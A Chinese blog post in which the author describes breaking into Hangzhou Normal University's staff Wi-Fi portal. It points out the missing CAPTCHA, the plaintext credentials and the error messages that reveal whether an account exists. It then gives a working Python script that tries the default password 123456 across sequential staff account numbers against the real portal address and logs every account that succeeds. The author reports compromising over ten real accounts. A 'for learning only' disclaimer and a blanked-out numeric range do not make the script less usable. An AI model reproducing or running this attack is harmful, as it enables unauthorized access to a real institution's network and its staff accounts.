杭師大校園網教職工(hznu-teacher 校園網賬號)wifi 賬號挖掘~僅供學習使用

寢室晚上11點斷網,原來給學生的hznu 無線學校和電信公司沒談攏。。晚上只能開熱點。。這樣的話,hznu-teacher 的校園無線網的安全性就岌岌可危

那就來進行一個安全性測試吧

已知: 一個教工賬號爲 2002xxxx 密碼:123456,有這個信息,直接能得到好多賬號密碼了

筆記本連hznu-teacher 無線,會跳出一個頁面 如下:要求輸入賬號密碼的

在檢查頁面:按F12   填好賬號密碼後點擊登錄:

會有一項項的 http header  還有 http body 裏的 form-data 裏的數據,可以看到是發送的明文

賬號xxxx 密碼 123456 等等其他, 可以發現提示 賬號密碼錯誤了

 

到這裏,來梳理下我對這個安全漏洞的檢查思路:

首先  是沒有驗證碼,光是這個漏洞就是致命的,因爲識別驗證碼的圖靈測試代碼的編寫就可以勸退99% 的攻擊者了

其次,密碼這些是明文發送的,肯定會有風險,又抓包工具的估計就可以抓到裏面的信息了

然後,這個賬號密碼 可以看出 使用一個post 方式發出去的,並返回內容。

我們可以根據返回的內容  來判斷賬號密碼正不正確。

除了返回提示  ”賬號密碼錯誤“ 外

其實如果你填的 賬號不存在 還可以發現 提示 “沒有這個賬號” 等 

其實,之前我一步一步用jupyter notebook 測試過得,在 requests.post  發送請求得到

輸出頁面信息 如下:

那個賬號不存在也是一樣的,那麼再加上局域網的驗證飛快,我又知道教職工賬號的前幾位,這就降低了遍歷的次數,

好了,放代碼吧:python3.6

# -*- coding: utf-8 -*-
"""
Spyder Editor

This is a temporary script file.
"""

import requests
import os
s = requests.session()
#print(s.headers)
headers = {
 
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36',
 
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 
    'Host': '172.31.1.5',
    'Referer': 'http://172.31.1.5/srun_portal_pc.php?wlanuserip=172.18.69.34&wlanacname=&wlanuserfirsturl=http://www.hao123.com/&ac_id=6',
    'X-Requested-With':'XMLHttpRequest'
 
}
login_url='http://172.31.1.5/srun_portal_pc.php?wlanuserip=172.18.69.34&wlanacname=&wlanuserfirsturl=http://www.hao123.com/&ac_id=6'
data = {'action':'login',
'username':'20021064',
'password':'123456',
'ac_id':'6',
'user_id':'6',
'user_ip':'172.18.69.34',
'nas_ip':'',
'user_mac':'',
'save_me':'1',
'ajac':'1'}

#create a new file to store account
dest = "/home/xxxx/Desktop/blowup.txt"
if os.path.exists(dest) is None:
    os.mkdirs(dest)
f = open(dest,'w')
f.close() #without this segment,the file won't be created
with open(dest,'a') as fw:
    fw.write("acount which password is 123456:\n")
    for i in range(xxx,xxx): #這裏填遍歷的 賬號範圍
        data['username']='2002'+str(i)
        response = s.post(login_url,data=data,headers=headers)
        result = response.text
        print('account:'+str(i)+":")
        error_msg = "用戶名或密碼錯誤,請重試。"
        user_not_exist = "用戶不存在"
        if error_msg in response.text:
            print(error_msg)
        elif  user_not_exist in response.text:
            print(user_not_exist)
        else:
            print("acount: 2002"+str(i))
            fw.write("acount: 2002"+str(i)+"\n")

        

 爲了不讓別有用心的人濫用這個代碼,我把遍歷的範圍 變成xxx 了,懂得人自然可以填數字進去,賬號前綴是2002

好了,結果如下

 這個。。我其實就測試了幾百組,就有10幾個懶人沒有改初始密碼,太不應該了,

最後,這個安全漏洞的發現和分享,只是爲了傳播知識,我們還是不要佔用教職工無線網資源,恩恩

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章